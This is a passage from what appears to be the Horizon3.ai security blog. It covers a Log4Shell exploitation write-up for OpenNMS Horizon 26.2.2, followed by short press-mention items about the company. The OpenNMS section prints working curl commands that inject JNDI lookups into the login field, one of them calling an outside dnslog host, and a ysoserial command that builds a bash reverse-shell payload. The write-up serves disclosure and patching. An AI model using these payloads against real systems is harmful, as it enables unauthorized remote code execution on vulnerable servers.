Kudos must be given to the Elasticsearch team for its prescient usage of the Java Security Manager and practicing “defense-in-depth.” The fallout for Elasticsearch users could have been much worse. Only a handful of Java applications have taken advantage of the Security Manager, and it’ll be interesting to see the path forward with the removal of the Security Manager with JEP-411.

Exploiting OpenNMS

OpenNMS is an open source network monitoring solution. We installed OpenNMS Horizon version 26.2.2 using the docker-compose template from here.


For a quick win, we tried injecting a JNDI payload into the username field of the login form… and it worked.

The DNS callback:

Using curl:

curl -X POST -k --path-as-is -d 'j_username=${jndi:ldap://72qhcc.dnslog.cn:1389}&j_password=abcd&j_usergroups=&Login='

We checked the logs and found the username was getting logged by the HybridOpenNMSUserAuthenticationProvider  class.

In Github:


The version of OpenNMS we were using was running with Java 11.07 using Jetty as an application server. This means the Tomcat-based exploit we used against VMware Site Recovery Manager and the older JVM based exploit we used against Elasticsearch 5 weren’t going to work. We moved to option 3: finding a deserialization gadget in one of the libraries pulled in locally OpenNMS. Looking through the jars, we found commons-beanutils-1.9.4.jar, for which there is a well-known deserialization gadget available using ysoserial.

Using the ysoserial-modified project, we created our reverse shell payload:

$JAVA_HOME/bin/java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutils1 bash 'bash -i >& /dev/tcp/ 0>&1' > test_payload

Then served it using JNDI-Exploit-Kit and fired up a netcat listener on port 9999:

Then sent the curl request to trigger the exploit:

curl -X POST -k --path-as-is -d 'j_username=${jndi:ldap://}&j_password=abcd&j_usergroups=&Login='

And got the reverse shell:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable OpenNMS instance:


OpenNMS is not commonly deployed to be Internet-facing. Using Shodan, we found about ~100 public instances of it. We do occasionally run into it in internal pentests though, and it can also be embedded in products like Juniper Junos Space. From an attacker perspective, network monitoring solutions in general are attractive targets to compromise because they typically store credentials used to access other infrastructure in the environment. We recommend updating to the latest version per the OpenNMS advisory.


Attackers are opportunistic. As we’ve shown above, Log4shell is a vulnerability that opens up lots of opportunities. It’s normally difficult, if not impossible, for the average attacker to discover vulnerabilities leading to unauthenticated remote code execution in established applications. Log4Shell enables exactly that across lots of applications, and it’s something that can be easily weaponized by attackers on the fly.

Here’s roughly how long it took us to get to unauthenticated remote code execution in each of the above applications:


Application Time to Install and Configure Time to RCE
VMware Site Recovery Manager 8.3.0 1 day 1 hour
Elasticsearch 5 1/2 day 1 day
OpenNMS Horizon 26.2.2 1 hour 1 hour


In an ideal world, after the Log4shell vulnerability was disclosed last year, all enterprises would have spent 2-3 weeks to enumerate all vulnerable applications in their environment and patch them. The reality is that enterprise patch cycles can be slow. NodeZero still occasionally encounters domain controllers that aren’t patched for critical vulnerabilities like Zerologon (CVE-2020-1472), and routinely sees Eternal Blue (CVE-2017-0143) five years after it was disclosed.

Furthermore, outside of very large enterprises, many companies operate with limited resources, must prioritize remediation relative to other work, and have to consider possible business downtime caused by patching. Log4Shell brings extra complexity to the mix because of the sheer number of applications it impacts. Patching for Log4Shell is also not always just clicking an “update” button; legacy applications may lack support altogether. And even after patching, we’ve encountered cases where the patch didn’t work as expected and needed to be re-done.

All this means that Log4Shell will be around for a very long time. We believe that the more we can do to surface the true impact of Log4Shell against vulnerable applications, the more likely it is that companies will take the steps necessary to remediate those applications, before the bad guys can get to them.


The post The Long Tail of Log4Shell Exploitation appeared first on Horizon3.ai.

Businesses confess: We pass cyberattack costs onto customers

29 July 2022 at 18:03

The Register: 07/29/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, laid a lot of the blame at the feet of the organizations, said that the warning signs about data breaches have been flashing red for the last decade.

Read the entire article here

The post Businesses confess: We pass cyberattack costs onto customers appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

30 June 2022 at 18:23

AIthority: 06/30/22

“Security teams are overextended and universally share that one of the hardest parts of cybersecurity is deciding what not to fix,” said Snehal Antani, Horizon3.ai Co-Founder and CEO, and the Former CTO of the US Joint Special Operations Command (JSOC). “We specifically developed NodeZero to filter the noise and make it unmistakably apparent which critical impacts must be fixed immediately, so that organizations stop wasting precious time and resources chasing down vulnerabilities that don’t pose a threat to the business.”

Read the entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

Zoho ManageEngine ADAudit Plus bug gets public RCE exploit

1 July 2022 at 18:19

Bleeping Computer: 07/1/22

Earlier this week, Horizon3.ai published a blog post explaining the technical aspects behind CVE-2022-28219 along with proof-of-concept exploit code that demonstrates the findings..

Read the entire article here

The post Zoho ManageEngine ADAudit Plus bug gets public RCE exploit appeared first on Horizon3.ai.

“Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it

1 July 2022 at 18:20

The Stack: 07/1/22

The vulnerabilities were in Zoho ManageEngine ADAudit Plus and allocated CVE-2022-28219. They were reported by US security firm Horizon3.ai which said it regularly encounters the product in penetration tests and that it could be an attractive target to attackers “because of the privileged access [it has] to Active Directory.”.

Read the entire article here

The post “Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it appeared first on Horizon3.ai.

Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool

2 July 2022 at 18:16

Security Affairs: 07/2/22

The unauthenticated remote code execution vulnerability was discovered by security researcher Naveen Sunkavally at Horizon3.ai and addressed by the vendor in March.

Read the entire article here

The post Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool appeared first on Horizon3.ai.

IT giant restores systems after ‘malware attack’ crippled operations

12 July 2022 at 18:15

The Record: 07/12/22

While SHI has denied repeatedly that no customer information was accessed, Horizon3ai cybersecurity expert Brad Hong said it will be interesting to see over the next weeks and even years what the true impact of the attack is on SHI, its confidential/proprietary data, and most importantly, its customers.

Read the entire article here

The post IT giant restores systems after ‘malware attack’ crippled operations appeared first on Horizon3.ai.

Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board

15 July 2022 at 18:11

Bank Info Security: 07/15/22

Cybersecurity firm Horizon3.ai detected the exploitation of Log4j in close to a quarter of the environments it was run in. Known vulnerabilities in widely deployed applications such as virtual desktops or wireless access points are just the beginning. “There are probably thousands of Java applications impacted by Log4shell to varying degrees,” it says.

Read the entire article here

The post Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board appeared first on Horizon3.ai.